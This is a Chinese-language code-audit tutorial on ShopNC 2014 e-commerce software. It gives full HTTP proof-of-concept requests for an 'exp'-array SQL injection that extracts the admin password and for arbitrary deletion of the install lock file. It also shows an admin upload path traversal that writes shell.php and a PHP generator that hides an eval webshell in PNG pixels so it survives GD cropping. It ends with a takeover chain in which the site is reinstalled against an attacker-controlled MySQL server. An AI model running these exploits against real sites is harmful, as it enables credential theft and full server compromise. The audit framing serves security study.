ShopNC商场代码审计&裁剪图片业务绕过getshell
字数 2755
更新时间 2026-02-28 12:19:14

ShopNC商城代码审计与裁剪图片业务绕过Getshell教学文档

1. 环境搭建与配置

1.1 源码获取与部署

  • 源码版本:ShopNC 2014.01.16.2490
  • 获取地址:https://github.com/angels13/shopnc
  • 关键步骤:删除 shop/install/lock 文件以重新安装。

1.2 环境配置

  • 操作系统:Windows 11
  • 集成环境:phpStudy 2018
  • 中间件:Nginx 1.11.5
  • PHP版本:5.6.27 (需开启Xdebug)
  • 数据库:MySQL 5.5.53 (需配置时区 default-time-zone=+08:00)

1.3 MySQL日志监控(用于审计SQL注入)

-- 开启通用查询日志
SHOW VARIABLES LIKE 'general_log%';
SET GLOBAL general_log = 'ON';
-- 使用PowerShell实时监控日志
chcp 65001
$file = "D:\phpStudy\PHPTutorial\MySQL\data\xxx.log"
Get-Content -Path $file -Wait -Tail 0 -Encoding UTF8

2. 核心漏洞审计与利用

2.1 SQL注入(数组绕过parseValue)

漏洞位置core/framework/libraries/model.php 中的 parseValue 函数。

漏洞原理
当传入的 $value 是数组且第一个元素为字符串 'exp' 时,函数直接返回第二个元素,不进行转义或过滤,导致SQL语句拼接。

关键代码

protected function parseValue($value) {
    if(is_string($value) || is_numeric($value)) {
        $value = '\''.$this->escapeString($value).'\'';
    } elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
        $value = $value[1]; // 直接返回,未过滤!
    }
    // ... 其他逻辑
}

利用点:用户中心更新资料(act=home&op=member)或收货地址新建。

Payload构造
将参数构造为数组,利用 exp 关键字绕过。

member_truename[0]=exp&member_truename[1]=(SELECT admin_password FROM shopnc_admin WHERE admin_id=1)

完整POC(用户中心更新)

POST /shopnc/shop/index.php?act=home&op=member&inajax=1 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

form_submit=ok&old_member_avatar=avatar_1.jpg&member_truename[0]=exp&member_truename[1]=(SELECT admin_password FROM shopnc.shopnc_admin WHERE admin_id=1)&member_sex=3&birthday=&province_id=&city_id=&area_id=&area_info=&member_qq=&member_ww=

利用限制

  • 字段长度限制(如 member_truenamevarchar(20)),需选择长字段或使用子查询截取。
  • 只能进行数据查询(SELECT),无法执行 UPDATE 或堆叠注入(受 mysql_query 限制)。

2.2 任意文件删除(路径替换绕过)

漏洞位置circle/control/cut.php 中的 pic_cutOp 方法。

漏洞原理
代码使用 str_ireplaceUPLOAD_SITE_URL 替换为 BASE_UPLOAD_PATH,但未校验替换后的路径是否仍在安全目录内,导致目录穿越。

关键代码

$src = str_ireplace(UPLOAD_SITE_URL, BASE_UPLOAD_PATH, $_POST['url']);
@unlink($src); // 直接删除!

利用场景:删除安装锁文件 shop/install/lock,使系统进入重装模式。

Payload构造
利用 ../ 穿越目录,将 url 参数指向 lock 文件。

url=http://localhost/shopnc/data/upload/../../shop/install/lock

替换后路径变为:D:/www/shopnc/data/upload/../../shop/install/lock -> D:/www/shopnc/shop/install/lock

完整POC(头像裁剪接口)

POST /shopnc/circle/index.php?act=cut&op=pic_cut HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

form_submit=ok&x1=-43&x2=7&w=50&y1=-30&y2=20&h=50&url=http://localhost/shopnc/data/upload/../../shop/install/lock&newfile=avatar_1_new.png

2.3 管理员后台任意文件上传(文件名控制)

漏洞位置admin/control/sns_member.php 中的 tag_editOp 方法。

漏洞原理
在编辑会员标签时,如果POST中存在 old_membertag_name 参数,代码会调用 $upload->set('file_name', $_POST['old_membertag_name']) 直接设置保存的文件名,未过滤 ../,导致可以上传 .php 文件到任意目录。

关键代码

if ($_POST['old_membertag_name'] != ''){
    $upload->set('file_name', $_POST['old_membertag_name']); // 可控文件名
}

利用条件

  1. 拥有管理员后台权限。
  2. 需要先创建一个会员标签(触发编辑逻辑)。
  3. 上传的图片需能绕过 getimagesize 检测(使用带有Payload的PNG)。

Payload构造
在Multipart表单中重复提交 old_membertag_name 字段,第二个值覆盖第一个,设置为 ../../shell.php

完整POC

POST /shopnc/admin/index.php?act=sns_member&op=tag_edit&id=1 HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCKI8sZgsLbdG0xR

------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="form_submit"
ok
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="old_membertag_name"
08226595474847548.png  <!-- 初始值,用于通过校验 -->
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_name"
dsfa
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="old_membertag_name"
../../shell.php  <!-- 覆盖值,实现路径穿越 -->
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_img"; filename="payload.png"
Content-Type: image/png

[PNG文件二进制数据]
------WebKitFormBoundaryXCKI8sZgsLbdG0xR--

Webshell访问路径http://localhost/shopnc/data/upload/shell.php


2.4 绕过PHP-GD图片裁剪(IDAT数据块保留)

漏洞背景
普通图片木马经过GD库的 imagecopyresampled(重采样)或裁剪后,PHP代码会被破坏。本技术利用PNG的 IDAT数据块(压缩的像素数据区) 特性,使Payload在图片处理后被保留。

技术原理

  • PNG图片由数据块(Chunk)组成,如IHDR、IDAT、IEND。
  • PHP的GD库在处理图片时,主要修改像素数据,但可能会保留原始的IDAT数据块结构。
  • 通过精心构造像素颜色值(RGB),将PHP代码编码到像素中,即使图片被缩放,解码后的二进制数据依然包含有效的PHP代码。

生成恶意PNG的PHP脚本(gen.php)

<?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1];
$output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; } // 补齐3的倍数
$_pay_len=strlen($_payload);
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
    $_color_chunks=str_split($_chunks[$i], 2);
    $color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
    imagesetpixel($im,$i,1,$color);
}
imagepng($im,$output);
?>

生成命令

php gen.php "<?php @eval($_POST['ant']); ?>" payload.png

利用流程(结合裁剪Getshell)

  1. 上传:在“个人主页->相册”上传 payload.png
  2. 获取原始URL:上传后返回的URL通常带 _240(缩略图),需去掉后缀得到原始图片URL(如 http://localhost/shopnc/data/upload/shop/member/2/2_xxx.png)。
  3. 触发裁剪并重命名:调用裁剪接口(act=cut&op=pic_cut),但将 filename 参数设置为 shell.php

裁剪POC

POST /shopnc/circle/index.php?act=cut&op=pic_cut HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

form_submit=ok&x=32&x1=0&w=32&y1=0&h=32&url=http://localhost/shopnc/data/upload/shop/member/2/2_08230321886438744.png&filename=shell.php

关键参数解释

  • x1=0, y1=0, w=32, h=32:裁剪区域从(0,0)开始,宽高为32px(需与生成图片的宽度匹配,确保所有像素被采样)。
  • filename=shell.php:利用代码中的路径拼接 BASE_UPLOAD_PATH.'/'.$_POST['filename'],将输出保存为PHP文件。

最终Shell路径http://localhost/shopnc/data/upload/shell.php


3. 组合利用案例:从任意文件删除到Getshell

3.1 攻击链设计

  1. Step 1 - 删除Lock:利用2.2的任意文件删除漏洞,删除 install/lock
  2. Step 2 - 重装控制数据库:访问首页触发安装,数据库地址填写攻击者控制的MySQL服务器(如Docker搭建的MySQL 5.5)。
  3. Step 3 - 获取后台权限:安装时设置已知的管理员账号密码。
  4. Step 4 - 后台Getshell:利用2.3的后台任意文件上传漏洞,上传Webshell。

3.2 快速搭建攻击数据库

docker run -d --name mysql55 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.5

3.3 重装数据包关键点

在安装向导的数据库配置步骤,填写:

  • 数据库服务器:你的VPS_IP
  • 用户名:root
  • 密码:root
  • 数据库名:shopnc(需提前在VPS上创建好空数据库)
 全屏